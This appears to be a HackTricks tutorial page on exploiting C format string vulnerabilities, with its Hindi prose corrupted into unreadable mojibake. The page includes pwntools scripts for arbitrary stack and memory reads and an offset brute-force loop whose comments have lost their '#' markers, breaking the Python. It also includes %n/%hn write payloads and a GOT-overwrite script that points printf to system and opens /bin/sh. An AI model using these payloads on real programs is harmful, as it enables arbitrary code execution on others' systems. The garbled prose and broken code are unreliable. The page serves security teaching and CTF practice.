.. | ||
format-strings-arbitrary-read-example.md | ||
format-strings-template.md | ||
README.md |
Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
If you are interested in hacking career and hack the unhackable - we are hiring! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ).
{% embed url="https://www.stmcyber.com/careers" %}
Basic Information
C рдореЗрдВ printf
рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреБрдЫ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреА рдкрд╣рд▓реА рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИ рд╡рд╣ рд╣реИ рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЗ рд╕рд╛рде рдХрдЪреНрдЪрд╛ рдЯреЗрдХреНрд╕реНрдЯред рдЕрдиреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИрдВ рд╡реЗ рд╣реИрдВ рдХрдЪреНрдЪреЗ рдЯреЗрдХреНрд╕реНрдЯ рд╕реЗ рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╛рдиред
рдЕрдиреНрдп рдХрдордЬреЛрд░ рдлрд╝рдВрдХреНрд╢рди рд╣реИрдВ sprintf()
рдФрд░ fprintf()
ред
рдХрдордЬреЛрд░реА рддрдм рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ рдЬрдм рд╣рдорд▓рд╛рд╡рд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрд╣рд▓реЗ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЗрдирдкреБрдЯ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдЬреЛ printf рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рдкрддреЗ (рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп/рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп) рдореЗрдВ рдХреЛрдИ рднреА рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдПред рдЗрд╕ рддрд░рд╣ рд╕реЗ рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ред
Formatters:
%08x тАФ> 8 hex bytes
%d тАФ> Entire
%u тАФ> Unsigned
%s тАФ> String
%p тАФ> Pointer
%n тАФ> Number of written bytes
%hn тАФ> Occupies 2 bytes instead of 4
<n>$X тАФ> Direct access, Example: ("%3$d", var1, var2, var3) тАФ> Access to var3
рдЙрджрд╛рд╣рд░рдг:
- рдХрдордЬреЛрд░ рдЙрджрд╛рд╣рд░рдг:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧ:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- рдЧрд╛рдпрдм рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf рдХрдордЬреЛрд░:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Pointers рддрдХ рдкрд╣реБрдБрдЪрдирд╛
рдлреЙрд░реНрдореЗрдЯ %<n>$x
, рдЬрд╣рд╛рдБ n
рдПрдХ рд╕рдВрдЦреНрдпрд╛ рд╣реИ, printf рдХреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ n рдкреИрд░рд╛рдореАрдЯрд░ (рд╕реНрдЯреИрдХ рд╕реЗ) рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк printf рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдЯреИрдХ рд╕реЗ 4th рдкреИрд░рд╛рдореАрдЯрд░ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
printf("%x %x %x %x")
рдФрд░ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдЪреМрдереЗ рдкреИрд░рд╛рдореАрдЯрд░ рддрдХ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред
рдпрд╛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
printf("%4$x")
рдФрд░ рд╕реАрдзреЗ рдЪреМрдереЗ рдХреЛ рдкрдврд╝реЗрдВред
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ printf
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЙрд╕рдХрд╛ рдЗрдирдкреБрдЯ printf
рдХреЗ рдХреЙрд▓ рд╣реЛрдиреЗ рдкрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рд╣реЛрдЧрд╛, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╡рд╣ рд╕реНрдЯреИрдХ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдореЗрдореЛрд░реА рдкрддреЗ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИред
{% hint style="danger" %}
рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЬреЛ рдЗрд╕ рдЗрдирдкреБрдЯ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рд╡рд╣ рд╕реНрдЯреИрдХ рдореЗрдВ рдордирдорд╛рдиреЗ рдкрддреЗ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдФрд░ printf
рдХреЛ рдЙрдиреНрд╣реЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред рдЕрдЧрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рдпрд╣ рд╕рдордЭрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
{% endhint %}
рдордирдорд╛рдирд╛ рдкрдврд╝рдирд╛
рдлреЙрд░реНрдореЗрдЯрд░ %n$s
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ printf
n рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╕реНрдерд┐рдд рдкрддреЗ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗ, рдЗрд╕рдХреЗ рдмрд╛рдж рдФрд░ рдЗрд╕реЗ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗ (рдЬрдм рддрдХ 0x00 рдирд╣реАрдВ рдорд┐рд▓рддрд╛)ред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдмрд╛рдЗрдирд░реА рдХрд╛ рдмреЗрд╕ рдкрддрд╛ 0x8048000
рд╣реИ, рдФрд░ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╕реНрдЯреИрдХ рдореЗрдВ рдЪреМрдереЗ рд╕реНрдерд╛рди рдкрд░ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдмрд╛рдЗрдирд░реА рдХреА рд╢реБрд░реБрдЖрдд рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдЗрдирдкреБрдЯ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ 0x8048000 рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рдХреНрдпреЛрдВрдХрд┐ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЙрд╕ рдкрддреЗ рдХреЗ рдЕрдВрдд рдореЗрдВ 0x00 рдкрд░ рдХрдЯ рдЬрд╛рдПрдЧреАред {% endhint %}
рдСрдлрд╕реЗрдЯ рдЦреЛрдЬреЗрдВ
рдЕрдкрдиреЗ рдЗрдирдкреБрдЯ рдХреЗ рд▓рд┐рдП рдСрдлрд╕реЗрдЯ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк 4 рдпрд╛ 8 рдмрд╛рдЗрдЯреНрд╕ (0x41414141
) рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдмрд╛рдж %1$x
рдФрд░ рдорд╛рди рдмрдврд╝рд╛рдПрдВ рдЬрдм рддрдХ рдХрд┐ A's
рдкреНрд░рд╛рдкреНрдд рди рд╣реЛ рдЬрд╛рдПрдВред
рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ printf рдСрдлрд╕реЗрдЯ
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### рдХрд┐рддрдиреА рдЙрдкрдпреЛрдЧреА
рдордирдорд╛рдиреЗ рдкрдврд╝рдиреЗ рд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рдорджрдж рдорд┐рд▓ рд╕рдХрддреА рд╣реИ:
* **рдмрд╛рдЗрдирд░реА** рдХреЛ рдореЗрдореЛрд░реА рд╕реЗ **рдбрдВрдк** рдХрд░рдирд╛
* **рд╕рдВрд╡реЗрджрдирд╢реАрд▓** **рдЬрд╛рдирдХрд╛рд░реА** рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдореЗрдореЛрд░реА рдХреЗ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рднрд╛рдЧреЛрдВ** рддрдХ **рдкрд╣реБрдБрдЪ** рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (рдЬреИрд╕реЗ рдХрд┐ рдХреИрдирд░реА, рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдпрд╛ рдХрд╕реНрдЯрдо рдкрд╛рд╕рд╡рд░реНрдб рдЬреИрд╕реЗ рдЗрд╕ [**CTF рдЪреБрдиреМрддреА**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) рдореЗрдВ)
## **рдордирдорд╛рдирд╛ рд▓рд┐рдЦрдирд╛**
рдлреЙрд░реНрдореЗрдЯрд░ **`%<num>$n`** **рд▓рд┐рдЦрддрд╛** рд╣реИ **рд▓рд┐рдЦреЗ рдЧрдП рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛** рдХреЛ **рд╕рдВрдХреЗрддрд┐рдд рдкрддреЗ** рдореЗрдВ \<num> рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рд╕реНрдЯреИрдХ рдореЗрдВред рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ printf рдХреЗ рд╕рд╛рде рдЬрд┐рддрдиреЗ рдЪрд╛рд╣реЗрдВ рдЙрддрдиреЗ рдЕрдХреНрд╖рд░ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ **`%<num>$n`** рдХреЛ рдПрдХ рдордирдорд╛рдирд╛ рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдПрдХ рдордирдорд╛рдиреЗ рдкрддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред
рднрд╛рдЧреНрдпрд╡рд╢, рд╕рдВрдЦреНрдпрд╛ 9999 рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрдирдкреБрдЯ рдореЗрдВ 9999 "A"s рдЬреЛрдбрд╝рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯрд░ **`%.<num-write>%<num>$n`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрдЦреНрдпрд╛ **`<num-write>`** рдХреЛ **`num` рд╕реНрдерд┐рддрд┐ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдкрддреЗ** рдореЗрдВ рд▓рд┐рдЦрдирд╛ рд╕рдВрднрд╡ рд╣реИред
```bash
AAAA%.6000d%4\$n тАФ> Write 6004 in the address indicated by the 4┬║ param
AAAA.%500\$08x тАФ> Param at offset 500
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдкрддрд╛ рдЬреИрд╕реЗ 0x08049724
(рдЬреЛ рдПрдХ HUGE рд╕рдВрдЦреНрдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ рдмрд╛рд░ рдореЗрдВ рд▓рд┐рдЦрдирд╛ рд╣реИ) рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, $hn
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрдЬрд╛рдп $n
рдХреЗред рдпрд╣ рдХреЗрд╡рд▓ 2 Bytes рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрд╣ рдСрдкрд░реЗрд╢рди рджреЛ рдмрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдмрд╛рд░ рдкрддреЗ рдХреЗ рдЙрдЪреНрдЪрддрдо 2B рдХреЗ рд▓рд┐рдП рдФрд░ рджреВрд╕рд░реА рдмрд╛рд░ рдирд┐рдореНрдирддрдо рдХреЗ рд▓рд┐рдПред
рдЗрд╕рд▓рд┐рдП, рдпрд╣ рднреЗрджреНрдпрддрд╛ рдХрд┐рд╕реА рднреА рдкрддреЗ рдореЗрдВ рдХреБрдЫ рднреА рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ (рдордирдорд╛рдирд╛ рд▓реЗрдЦрди)ред
рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд▓рдХреНрд╖реНрдп рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬреЛ рдмрд╛рдж рдореЗрдВ GOT рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЕрдиреНрдп рдордирдорд╛рдиреЗ рд▓реЗрдЦрди рдХреЛ exec рддрдХрдиреАрдХреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
рд╣рдо рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдкрдиреЗ рдЖрд░реНрдЧреБрдореЗрдВрдЯреНрд╕ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ system
рдлрд╝рдВрдХреНрд╢рди рдХреА рдУрд░ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИред
рдЬреИрд╕рд╛ рдХрд┐ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ 2 рдЪрд░рдгреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: рдЖрдк рдкрд╣рд▓реЗ 2Bytes рдХрд╛ рдкрддрд╛ рд▓рд┐рдЦрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЕрдиреНрдп 2ред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП $hn
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
- HOB рдХреЛ рдкрддреЗ рдХреЗ 2 рдЙрдЪреНрдЪрддрдо рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ
- LOB рдХреЛ рдкрддреЗ рдХреЗ 2 рдирд┐рдореНрдирддрдо рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ
рдлрд┐рд░, рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдХрд╛рд░рдг, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рд╕рдмрд╕реЗ рдЫреЛрдЯреЗ [HOB, LOB] рдХреЛ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ рджреВрд╕рд░реЗ рдХреЛред
рдпрджрд┐ HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
рдпрджрд┐ HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 N┬║Param_dir_HOB LOB_shell-HOB_shell N┬║Param_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntools рдЯреЗрдореНрдкрд▓реЗрдЯ
рдЖрдк рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
рдпрд╛ рдпрд╣рд╛рдВ рд╕реЗ рдпрд╣ рдмреБрдирд┐рдпрд╛рджреА рдЙрджрд╛рд╣рд░рдг:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ format string vulnerability рдХреЗ write actions рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ stack рдХреЗ addresses рдореЗрдВ рд▓рд┐рдЦреЗрдВ рдФрд░ рдПрдХ buffer overflow рдкреНрд░рдХрд╛рд░ рдХреА vulnerability рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдВред
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, format strings рдХрд╛ рдмреБрдирд┐рдпрд╛рджреА рдЙрдкрдпреЛрдЧ stack рд╕реЗ flag рдХреЛ leak рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (execution flow рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string
fflush
рдХреЗ address рдХреЛ win function (ret2win) рдХреЗ рд╕рд╛рде overwrite рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, format string main рдореЗрдВ
.fini_array
рдХреЗ рдЕрдВрджрд░ рдПрдХ address рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП (рддрд╛рдХрд┐ flow рдПрдХ рдмрд╛рд░ рдФрд░ рд▓реВрдк рд╣реЛ) рдФрд░ GOT table рдореЗрдВsystem
рдХреЗ рд▓рд┐рдП address рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛstrlen
рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред рдЬрдм flow main рдореЗрдВ рд╡рд╛рдкрд╕ рдЬрд╛рддрд╛ рд╣реИ,strlen
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде execute рд╣реЛрддрд╛ рд╣реИ рдФрд░system
рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдкрд╛рд╕ рдХрд┐рдП рдЧрдП commands рдХреЛ execute рдХрд░реЗрдЧрд╛ред
рдпрджрд┐ рдЖрдк hacking career рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдФрд░ рдЕрдЬреЗрдп рдХреЛ рд╣реИрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ - рд╣рдо рднрд░реНрддреА рдХрд░ рд░рд╣реЗ рд╣реИрдВ! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ рд╣реИ)ред
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.